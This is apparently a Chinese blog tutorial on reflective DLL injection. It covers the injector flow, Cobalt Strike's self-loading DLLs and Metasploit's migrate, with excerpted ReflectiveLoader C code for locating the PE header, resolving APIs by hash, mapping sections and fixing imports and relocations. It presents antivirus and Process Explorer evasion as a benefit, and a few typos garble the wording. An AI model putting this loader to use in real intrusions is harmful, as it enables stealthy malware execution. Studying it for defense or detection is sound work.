常规dll注入
这里引用一张图来表示:
反射型DLL注入思路:
- 读入原始DLL文件至内存缓冲区
- 解析DLL标头并获取SizeOfImage
- 将DLL标头和PE节复制到步骤3中分配的内存空间
- 执行重定位
- 加载DLL导入的库
- 解析导入地址表(IAT)
- 调用DLL的DLL_PROCESS_ATTACH
反射型dll注入与其他dll注入不同的是,其不需要使用LoadLibrary这一函数,而是自己来实现整个装载过程。我们可以为待注入的DLL添加一个导出函数,ReflectiveLoader,这个函数的功能就是装载它自身。
由于是自己实现,因此不会利用系统自身Loadlibrary,不会“注册”到系统,不会被系统记录。也不会被ProcessExplorerer发现。
要实现反射型DLL注入需要两个部分,注射器和被注入的DLL。
注射器的执行流程:
- 将待注入DLL读入自身内存(避免落地)
- 利用VirtualAlloc和WriteProcessMemory在目标进程中写入待注入的DLL文件
- 利用CreateRemoteThread等函数启动位于目标进程中的ReflectLoader
而ReflectiveLoader的实现:
就是对自身的装载。
反射型dll注入与常规注入有何不同:
- 直接在内存中展开,无需.dll 文件存在。
- 没有通过Load Library等API加载,ProcessExplorer、procexp64 等工具无法检测到这个dll
- 更容易免杀。
反射dll注入思路:
1.根据需要注入的进程,向服务器申请dll下发;
2.将下发的数据解密后,直接写入申请的堆中;
3.打开进程(OpenProcess)、分配内存(VirtualAllocEx)、将堆中的数据写入内存4.(WriteProcessMemory);
4.获取 RtlCreateUserThread 函数指针
.RtlCreateUserThread = (PRTL_CREATE_USER_THREAD)(GetProcAddress(GetModuleHandle(TEXT(“ntdll”)), “RtlCreateUserThread”));
5.通过 RtlCreateUserThread 创建线程,调用 目标进程 内存中的 ReflectiveLoader;
ReflectiveLoader 将dll在内存中展开,修复重定位、导入表(类似ShellCode);
6.ReflectiveLoader 调用dll入口点
核心思路
在CS的dll中所有的dll都有自加载能力,所有beacon的扩展功能几乎都是这样实现的。CS将其称为“可修补的dll”,它的原理是不改变MZ的情况下把整个dll文件修补成可被当作shellcode加载的格式,具体的操作是将dll内导出自加载函数,然后将MZ头起始字节修改为可执行ReflectiveLoader函数的硬编码。
dll自加载原理
因为PE文件包含了很多区段,为了节省空间,这些区段在磁盘上存储时候比较紧凑,如果把它们原样放入内存中运行是一定是会出问题的。所以RelectieDllLoader的一个任务就是按照规则将这些区段按照规则映射到对应的虚拟地址中去。
另外我们的dll也会用到其他的dll,这时需要把我们的dll所依赖的dll也装入内存。并修复导入表。
- 首先使用_ReturnAddress()函数获取当前函数的返回地址,因为调用这个函数是在Reflectiveloader的内部,因此从这个地址向上便利,找到0x4d, 0x5a就可以定位到PE文件头所在的婿你地址
- 通过FS:[0x30]获取到PEB,用PEB遍历出进程所需要的所有模块dll的基地址(LDR),之后通过解析 dll PE文件的导出表获取导出函数偏移地址,如: LoadLibrary GetProcAddress VirtualAlloc 等函数的虚拟地址。
- 在调用ReflectiveLoader前,注入器程序会在目标进程申请一块内存空间,但是那是存放的是dll的在磁盘上的结构,要将dll映射到内存中并重新进行内存分配。在 IMAGE_OPTIONAL_HEADER -> SizeOfImage记录这个dll装入内存时候的占用的大小,用这个值作为VirtualAlloc的参数。
- 将dll的PE文件头和各个节复制到对应的位置上。
- 被注入的DLL可能还依赖于其他DLL,因此我们还需要使用LoadLibrary加载这些dll(LoadLibrary地址在上面已拿到)
- 被注入的DLL只有Reflectiveloader中的代码是被写成地址无关的,不需要重定位,其他部分的代码则需要重定位才能正确运行。对于重定位问题,PE的可选头中DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]指向重定位表:关于重定位在PE文件结构中有介绍。
- 然后就是DLL重定位。
总结:
- 获得被注入进程未解析的dll的基地址
- 获取必要的dll句柄和函数为修复导入表做准备。
- 分配一块新内存解析dll,并将pe头伏知道新内存汇总和将各节复制到新内存。
- 修复导入表和重定向表。
- 执行dllmain函数
CS 反射dll原理
现今仍在使用的DOS结构只有PE文件的MZ标志和PE头的e_lfanew,其他随意修改不会影响这个PE文件的正常运行。
引用一张图如下:
msf的migrate 原理:
migrate 和 ReflectiveDllInjection项目大致相同。原理如下:
- 读取metsrv.dll(metpreter payload模板dll)文件到内存中。
- 生成最终的payload。
a) msf生成一小段汇编migrate stub主要用于建立socket连接。
b) 将metsrv.dll的dos头修改为一小段汇编meterpreter_loader主要用于调用reflective loader函数和dllmain函数。在metsrv.dll的config block区填充meterpreter建立session时的配置信息。
c) 最后将migrate stub和修改后的metsrv.dll拼接在一起生成最终的payload。 - 向msf server发送migrate请求和payload。
- msf向迁移目标进程分配一块内存并写入payload。
- msf首先会创建的远程线程执行migrate stub,如果失败了,就会尝试用apc注入的方式执行migrate stub。migrate stub会调用meterpreter loader,meterpreter loader才会调用reflective loader。
- reflective loader进行反射式dll注入。
- 最后msf client和msf server建立一个新的session。
原理
ReflectiveLoader()首先会调用caller()函数。
uiLibraryAddress = caller();
caller()函数实质上是_ReturnAddress()函数封装。calller()函数的作用是获取ReflectiveLoader()函数中调用caller()函数的下一条指令地址。
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
然后向低地址(向上,回退搜索)逐字节比较石头为dos头的标志ME字串。如果当前地址的内容为MZ字符串,则把当前地址认为是dos头结构体的开头,并校验dos头e_leanew结构是否指向pe头的标识“PE”字符串。若校验通过,则认为当前地址是正确的DOS头结构体的开头。
while( TRUE )
{
//将当前地址当成dos头结构,此结构的e_magic成员变量是否指向MZ子串
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
//判断e_lfanew结构成员是否指向PE子串,是则跳出循环,取得未解析dll的基地址
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
获取必要的dll句柄和函数地址:
获取必要的dll句柄是通过遍历peb结构体中的ldr成员中的InMemoryOrderList链表获取dll名称,之后算出dll名称hash,最后进行hash对比得到最后dll名。
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
uiValueC = 0;
ULONG_PTR tmpValC = uiValueC;
//计算tmpValC所指向子串的hash值,并存储在uiValueC中
....
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
必要的函数是遍历函数所在dll导出表获得函数名称,然后进行hash对比得到的:
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 )
{
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
if( dwHashValue == LOADLIBRARYA_HASH
//等于其他函数hash的情况
|| ...
)
{
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
//等于其他函数hash的情况
...
usCounter--;
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}
将dll映射到新内存:
Nt optional header结构体中的SizeOfImage 变量存储着PE文件在内存中解析后所占内存的大小。所以ReflectiveLoader获取到SizeOfImage的大小,分配一块新内存,然后按照section header结构中的文件相对偏移和相对虚拟地址,将PE节一一映射到新内存中。
//分配SizeOfImage的新内存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
//将所有头和节表逐字节复制到新内存
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
//解析每一个节表项
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
//将每一节的内容复制到新内存对应的位置
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
#### 修复导入表和重定位表:
首先根据导入表结构,找到导入函数所在的dll名称,然后使用loadlibrary()函数载入dll,根据函数序号或函数名称,在载入的dll的导出表中,通过hash对比,把找出的函数地址写入到新内存的ITA表中。
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
//当没有到达导入表末尾时
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
//使用LoadLibraryA()函数加载对应的dll
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
...
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
//IAT表
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
while( DEREF(uiValueA) )
{
//如果导入函数是通过函数编号导入
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{ //通过函数编号索引导入函数所在dll的导出函数
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
//将对应的导入函数地址写入IAT表
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
//导入函数通过名称导入的
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
然后是进行重定位:
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
//如果重定向表的值不为0,则修正重定向节
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
//根据不同的标识,修正每一项对应地址的值
while( uiValueB-- )
{
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
uiValueD += sizeof( IMAGE_RELOC );
}
uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
总结:
反射型dll注入的 Reflectiveloader 可以理解为实质上是自己实现了一遍windows dll loader。
欢迎各位大佬一起来免费知识星球学习: 一起探究安全原理,探索更多攻击方法。
https://t.zsxq.com/2rjA6yn